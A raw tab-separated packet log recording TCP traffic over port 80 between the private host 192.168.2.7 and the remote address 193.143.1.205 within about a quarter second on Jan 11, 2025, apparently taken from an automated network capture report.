Jan 11, 2025 03:08:30.479341984 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479358912 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479362011 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479373932 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479378939 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479389906 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479406118 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479408979 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479420900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479435921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479450941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479453087 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479465961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479470015 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479669094 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479940891 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479968071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479988098 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.480001926 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.480010033 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.480017900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.480061054 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.480144978 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.512229919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.512278080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.512291908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.512351990 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.512372971 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.512388945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.512404919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.512424946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.512635946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.522912025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.522955894 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.522972107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.523030043 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.523083925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.523099899 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.523116112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.523149014 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.523629904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.534378052 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534408092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534424067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534523964 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.534626007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534641027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534656048 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534672976 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534681082 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.534774065 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534787893 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.534799099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.534851074 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.561150074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561228037 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561284065 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561299086 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.561341047 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561369896 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.561374903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561412096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561454058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561482906 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.561491013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.561517954 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.563951969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564030886 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564050913 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564068079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564223051 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564241886 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564276934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564311028 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564342976 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564346075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564379930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564408064 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564429998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564464092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564497948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564526081 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564532042 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564559937 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564569950 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564686060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564718008 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564718962 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564754009 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564851999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564865112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564893961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564928055 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.564954996 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.564961910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565042973 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565073013 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565074921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565104961 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565109015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565210104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565237999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565241098 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565272093 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565301895 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565314054 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565347910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565373898 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565475941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565510988 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565536022 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565543890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565578938 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565608025 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565613031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565660954 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565684080 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565871000 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565907001 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565939903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.565968990 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.565975904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566006899 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566011906 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566046000 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566071987 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566080093 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566113949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566138983 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566148043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566230059 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566371918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566389084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566405058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566421032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566437006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566443920 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566483021 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566628933 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566654921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566669941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566684961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566699982 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566708088 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566716909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566720963 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566732883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566737890 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566751003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566766977 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566781998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566788912 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566797018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566803932 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566812992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566828966 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.566886902 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.566886902 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.598934889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.598990917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.599004984 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.599087954 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.599102974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.599117041 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.599117994 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.599143982 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.599206924 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.609810114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.609847069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.609860897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.609932899 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.609935999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.609951973 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.610013962 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.610089064 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.610105038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.610121012 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.610156059 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.610186100 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.613595963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613640070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613656044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613773108 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.613780975 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613796949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613811970 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613826990 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613835096 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.613850117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.613903046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613936901 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613950014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.613960981 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.614015102 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.647918940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.647967100 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.647983074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.647999048 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.648020983 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.648076057 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.648098946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.648225069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.648240089 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.648257017 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.648261070 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.648309946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.648327112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.650943995 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.650959969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.650981903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651042938 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651042938 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651151896 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651166916 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651181936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651196957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651223898 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651268005 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651362896 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651379108 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651396036 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651469946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651489973 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651504993 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651524067 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651529074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651545048 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651561022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651566982 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651629925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651761055 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651774883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651848078 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651922941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651937008 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651952028 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651967049 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651978016 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.651982069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.651995897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652003050 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652013063 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652034044 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652241945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652328014 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652380943 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652395964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652410984 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652426004 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652441025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652450085 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652456045 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652471066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652475119 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652487040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652493954 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652503014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652517080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.652524948 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.652575016 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653013945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653028011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653043032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653059006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653073072 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653074026 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653089046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653093100 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653104067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653119087 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653132915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653146982 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653155088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653162956 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653167963 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653167963 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653587103 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653600931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653609037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653618097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653630972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653646946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653738022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653753042 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653785944 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653920889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653937101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653945923 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653951883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653968096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653970957 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.653983116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.653996944 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654011965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654017925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.654026985 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654032946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.654042006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654062986 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654072046 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.654079914 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654097080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.654103041 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.654110909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.655333042 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.657723904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.685856104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.685888052 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.685904980 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.685913086 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.685961008 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.686003923 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.686018944 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.687623024 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.696865082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696881056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696897030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696921110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696935892 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696944952 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.696953058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696969032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.696974039 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.696991920 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.697210073 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.697225094 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.697310925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.700424910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700479984 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700493097 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.700495005 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700566053 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.700577021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700592041 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700658083 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.700690985 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700705051 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700772047 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.700804949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.700927973 CET	80	49701	193.143.1.205	192.168.2.7
